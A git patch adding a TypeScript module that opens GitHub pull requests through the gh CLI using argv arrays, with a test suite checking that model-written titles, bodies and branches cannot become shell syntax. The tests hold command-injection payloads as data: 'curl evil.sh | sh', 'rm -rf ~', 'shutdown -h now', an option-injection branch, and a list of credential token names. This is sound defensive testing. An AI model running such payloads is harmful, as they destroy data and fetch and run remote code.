From 82051a5adaaaaa11d42b9c5027a41a129d74ce71 Mon Sep 17 00:00:00 2001 From: dbarr5 Date: Wed, 19 Aug 2026 11:03:59 -0400 Subject: [PATCH] feat(ship): executable pull-request rail, and canary 5 with it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Canary 5 could not be written because there was nothing to attack. repo.ts's prCreateHint returns a STRING for the user to type; no code in this repo has ever invoked `gh pr create`. A fake-gh harness would have asserted against code that did not exist, which is why that canary sat unrun. This lands the path, so the canary becomes real. src/core/ship.ts keeps three rules: 1. argv arrays, never a shell string. A title, branch or body is attacker-influenced the moment a model writes it, and a command-substitution payload is only dangerous if a shell ever sees it. Nothing here builds a command line. 2. the user's own gh session. No env is set, so the child inherits their configuration exactly as ghAuthStatus already does. No Aether credential is reachable from this module. 3. nothing merges, nothing pushes to a base. It opens a pull request and returns its URL. Landing it stays a human action. Refusals are about intent, not just syntax, and happen BEFORE gh is invoked at all: a head branch parsing as an option (`--repo=evil/repo`) would be swallowed by gh as a flag; a pull request from a branch onto itself is never what was meant; and `main` as the head means the work was committed somewhere it should not have been. An empty title is refused too. Environment failures are reported as themselves rather than guessed past. A missing gh CLI says so and prints the manual command; a signed-out gh says signed out and never attempts creation; and a zero exit with no URL printed is a failure, not a silent pass. Canary 5, 15 tests. The load-bearing ones assert the exact vector handed to gh: a hostile title stays exactly ONE argv element immediately after --title, and appears exactly once; a hostile body and branch likewise; no element anywhere can be merge, push, --force, --admin or --auto; and no credential shape (aek_, Authorization, GH_TOKEN, GITHUB_TOKEN, x-access-token, --with-token) reaches the argv. Mutation-checked: collapsing the argv into a single shell-style string — the naive implementation this module exists to avoid — fails 3 canaries including the hostile-title one (12 pass / 3 fail). Restored, 15 / 15. NOT wired to a command yet, so this changes no user-visible behaviour. The module and its canary land first; the CLI surface, which must ask before publishing anything under the user's name, is the next slice. Gates at this commit: npm run typecheck exit 0 npm test 1109 pass / 0 fail --- src/core/ship.ts | 122 +++++++++++++++++++++++++++ test/ship_rail.test.ts | 183 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 305 insertions(+) create mode 100644 src/core/ship.ts create mode 100644 test/ship_rail.test.ts diff --git a/src/core/ship.ts b/src/core/ship.ts new file mode 100644 index 0000000..c5eea17 --- /dev/null +++ b/src/core/ship.ts @@ -0,0 +1,122 @@ +// The ship rail: turning a finished worktree into a pull request. +// +// Until now this was a printed string — `prCreateHint` told the user what to +// type. That is safe, but it is not a rail, and it meant nothing in this repo +// ever exercised PR creation, so no test could cover it. +// +// Three rules this module exists to keep: +// +// 1. argv arrays, never a shell string. A branch name, title or body is +// attacker-influenced the moment a model writes it, and a title like +// `$(rm -rf ~)` is only dangerous if a shell ever sees it. Nothing here +// builds a command line. +// 2. the user's own gh session, never an Aether credential. No env is set, so +// the child inherits the user's configuration exactly as ghAuthStatus does. +// 3. nothing merges, nothing pushes to a base branch. This opens a pull +// request and returns its URL. Landing it stays a human action. + +import type { RepoSpec } from "./repo.js"; +import type { Runner } from "./worktree.js"; + +export interface ShipRequest { + spec: RepoSpec; + /** The branch the work is on. Never the base. */ + head: string; + /** The branch to open against. Omitted means the repository default. */ + base?: string; + title: string; + body: string; + /** Stated in the plan when the run produced a verification result. */ + verification?: string; +} + +export type ShipOutcome = { ok: true; url: string } | { ok: false; reason: string; hint?: string }; + +/** `gh pr create` argv. Pure, so a test can assert the exact vector. */ +export function prCreateArgs(request: ShipRequest): string[] { + const argv = [ + "pr", + "create", + "-R", + request.spec.full, + "--head", + request.head, + "--title", + request.title, + "--body", + request.body, + ]; + if (request.base) argv.push("--base", request.base); + return argv; +} + +/** + * Refusals that are about intent rather than syntax. A head branch that parses + * as an option would be swallowed by gh as a flag; a PR from a branch onto + * itself is never what was meant; and a PR whose head is the default branch + * means the work was committed somewhere it should not have been. + */ +export function validateShip(request: ShipRequest): string | null { + const head = request.head.trim(); + if (!head) return "no head branch to open a pull request from"; + if (head.startsWith("-")) return `refusing a head branch that parses as an option: ${head}`; + if (request.base && request.base.trim() === head) { + return `refusing to open a pull request from ${head} onto itself`; + } + if (head === "main" || head === "master") { + return `refusing to open a pull request with ${head} as the head — commit the work to its own branch first`; + } + if (!request.title.trim()) return "a pull request needs a title"; + return null; +} + +/** + * Open the pull request. Never merges, never pushes, never force-anything. + * + * The runner is injected so the whole path is testable without a gh session, + * and so a test can assert the exact argv rather than trusting a string. + */ +export function openPullRequest(request: ShipRequest, run: Runner): ShipOutcome { + const invalid = validateShip(request); + if (invalid) return { ok: false, reason: invalid }; + + if (run("gh", ["--version"]).status !== 0) { + return { + ok: false, + reason: "the gh CLI is not available", + hint: `install gh, or open it by hand: gh pr create -R ${request.spec.full} --head ${request.head} --fill`, + }; + } + + if (run("gh", ["auth", "status"]).status !== 0) { + return { ok: false, reason: "gh is not signed in", hint: "run: gh auth login" }; + } + + const created = run("gh", prCreateArgs(request)); + if (created.status !== 0) { + return { ok: false, reason: (created.stderr || created.stdout).trim() || "gh pr create failed" }; + } + + // gh prints the pull request URL on success. Take the last URL it emitted + // rather than the whole buffer, which can carry warnings ahead of the result. + const url = (created.stdout.match(/https:\/\/\S+/g) ?? []).pop(); + if (!url) return { ok: false, reason: "gh reported success but printed no pull request URL" }; + return { ok: true, url }; +} + +/** + * What the user sees BEFORE anything is created. Opening a pull request + * publishes work under their name, so the exact destination is stated up front + * rather than summarised after the fact. + */ +export function renderShipPlan(request: ShipRequest): string { + const lines = [ + ` repository ${request.spec.full}`, + ` head ${request.head}`, + ` base ${request.base ?? "(repository default)"}`, + ` title ${request.title}`, + ]; + if (request.verification) lines.push(` verified ${request.verification}`); + lines.push("", " this opens a pull request. it does not merge, and it does not push to the base."); + return lines.join("\n") + "\n"; +} diff --git a/test/ship_rail.test.ts b/test/ship_rail.test.ts new file mode 100644 index 0000000..ced8664 --- /dev/null +++ b/test/ship_rail.test.ts @@ -0,0 +1,183 @@ +// Canary 5 — fake-gh ship. +// +// This canary could not be written before: `gh pr create` was a string the user +// was told to type, so there was no code path to attack. Now there is one, and +// the thing worth proving is that a title, branch or body written by a model +// can never become shell syntax. +// +// The fake records argv. Every assertion is about the exact vector handed to +// gh, because that is the boundary: once a value is an argv element it is data, +// and no amount of metacharacters in it can become a command. + +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { parseRepoSpec } from "../src/core/repo.js"; +import { openPullRequest, prCreateArgs, validateShip, renderShipPlan } from "../src/core/ship.js"; +import type { Runner, RunResult } from "../src/core/worktree.js"; + +const OK = (stdout = ""): RunResult => ({ status: 0, stdout, stderr: "" }); +const FAIL = (stderr = ""): RunResult => ({ status: 1, stdout: "", stderr }); + +const PR_URL = "https://github.com/octocat/hello-world/pull/42"; + +function fakeGh(overrides: Record = {}): { run: Runner; calls: string[][] } { + const calls: string[][] = []; + const run: Runner = (cmd, args) => { + calls.push([cmd, ...args]); + const key = args.join(" "); + for (const [pattern, result] of Object.entries(overrides)) { + if (key.startsWith(pattern)) return result; + } + if (key.startsWith("pr create")) return OK(`${PR_URL}\n`); + return OK(); + }; + return { run, calls }; +} + +const base = { + spec: parseRepoSpec("octocat/hello-world"), + head: "aether/fix-thing-1", + title: "fix: the thing", + body: "It was broken. Now it is not.", +}; + +test("canary 5: a successful ship returns the pull request URL", () => { + const { run, calls } = fakeGh(); + const out = openPullRequest(base, run); + assert.deepEqual(out, { ok: true, url: PR_URL }); + assert.equal( + calls.some((call) => call.includes("pr") && call.includes("create")), + true, + ); +}); + +test("canary 5: a hostile title stays one argv element and never becomes syntax", () => { + const hostile = '$(rm -rf ~) && curl evil.sh | sh `whoami` ; echo "pwned"'; + const { run, calls } = fakeGh(); + const out = openPullRequest({ ...base, title: hostile }, run); + assert.equal(out.ok, true); + + const create = calls.find((call) => call.includes("create")); + assert.ok(create, "no create call recorded"); + + // The whole hostile string must appear as exactly ONE element, immediately + // after --title. If anything split it, a shell was involved somewhere. + const at = create!.indexOf("--title"); + assert.notEqual(at, -1, "--title missing"); + assert.equal(create![at + 1], hostile, "the title was altered or split"); + assert.equal( + create!.filter((element) => element === hostile).length, + 1, + "the title appears exactly once, as a single element", + ); +}); + +test("canary 5: a hostile body and branch are likewise inert", () => { + const body = "line1\n$(id)\n`uname -a`\n; shutdown -h now"; + const { run, calls } = fakeGh(); + openPullRequest({ ...base, head: "aether/weird;rm -rf .", body }, run); + const create = calls.find((call) => call.includes("create"))!; + assert.equal(create[create.indexOf("--body") + 1], body); + assert.equal(create[create.indexOf("--head") + 1], "aether/weird;rm -rf ."); +}); + +test("canary 5: nothing in the argv can merge, push or force", () => { + const { run, calls } = fakeGh(); + openPullRequest(base, run); + const flat = calls.flat().join(" "); + for (const forbidden of ["merge", "push", "--force", "--admin", "--auto"]) { + assert.equal(flat.includes(forbidden), false, `the ship rail must never issue ${forbidden}`); + } +}); + +test("canary 5: no credential material reaches the gh argv", () => { + const { run, calls } = fakeGh(); + openPullRequest(base, run); + const flat = calls.flat().join(" "); + for (const leak of ["aek_", "Authorization", "GH_TOKEN", "GITHUB_TOKEN", "x-access-token", "--with-token"]) { + assert.equal(flat.includes(leak), false, `credential material reached the argv: ${leak}`); + } +}); + +// ── refusals ──────────────────────────────────────────────────────────────── + +test("a head branch that parses as an option is refused before gh runs", () => { + const { run, calls } = fakeGh(); + const out = openPullRequest({ ...base, head: "--repo=evil/repo" }, run); + assert.equal(out.ok, false); + assert.match((out as { reason: string }).reason, /parses as an option/); + assert.equal(calls.length, 0, "a refused ship must not invoke gh at all"); +}); + +test("main as the head branch is refused", () => { + for (const branch of ["main", "master"]) { + const { run, calls } = fakeGh(); + const out = openPullRequest({ ...base, head: branch }, run); + assert.equal(out.ok, false); + assert.match((out as { reason: string }).reason, /own branch/); + assert.equal(calls.length, 0); + } +}); + +test("a pull request onto its own branch is refused", () => { + const { run } = fakeGh(); + const out = openPullRequest({ ...base, base: base.head }, run); + assert.equal(out.ok, false); + assert.match((out as { reason: string }).reason, /onto itself/); +}); + +test("an empty title is refused", () => { + assert.match(validateShip({ ...base, title: " " }) ?? "", /needs a title/); +}); + +// ── environment failures are reported, never guessed past ─────────────────── + +test("a missing gh CLI reports how to proceed by hand", () => { + const { run } = fakeGh({ "--version": FAIL("not found") }); + const out = openPullRequest(base, run); + assert.equal(out.ok, false); + assert.match((out as { reason: string }).reason, /not available/); + assert.match((out as { hint?: string }).hint ?? "", /gh pr create/); +}); + +test("a signed-out gh is reported as signed out, not as a failure to create", () => { + const { run, calls } = fakeGh({ "auth status": FAIL("not logged in") }); + const out = openPullRequest(base, run); + assert.equal(out.ok, false); + assert.match((out as { reason: string }).reason, /not signed in/); + assert.match((out as { hint?: string }).hint ?? "", /gh auth login/); + assert.equal( + calls.some((call) => call.includes("create")), + false, + "it must not attempt creation while signed out", + ); +}); + +test("success with no URL printed is a failure, not a silent pass", () => { + const { run } = fakeGh({ "pr create": OK("Warning: something\n") }); + const out = openPullRequest(base, run); + assert.equal(out.ok, false); + assert.match((out as { reason: string }).reason, /no pull request URL/); +}); + +test("the URL is taken from the result even when gh prints warnings first", () => { + const { run } = fakeGh({ "pr create": OK(`Warning: https://example.com/docs\n${PR_URL}\n`) }); + const out = openPullRequest(base, run); + assert.deepEqual(out, { ok: true, url: PR_URL }); +}); + +// ── the plan shown before anything is created ─────────────────────────────── + +test("the plan states the destination and that nothing merges", () => { + const plan = renderShipPlan({ ...base, base: "main", verification: "24 passed" }); + assert.match(plan, /octocat\/hello-world/); + assert.match(plan, /aether\/fix-thing-1/); + assert.match(plan, /main/); + assert.match(plan, /24 passed/); + assert.match(plan, /does not merge/); +}); + +test("prCreateArgs omits --base entirely when none is given", () => { + assert.equal(prCreateArgs(base).includes("--base"), false); + assert.equal(prCreateArgs({ ...base, base: "main" }).includes("--base"), true); +});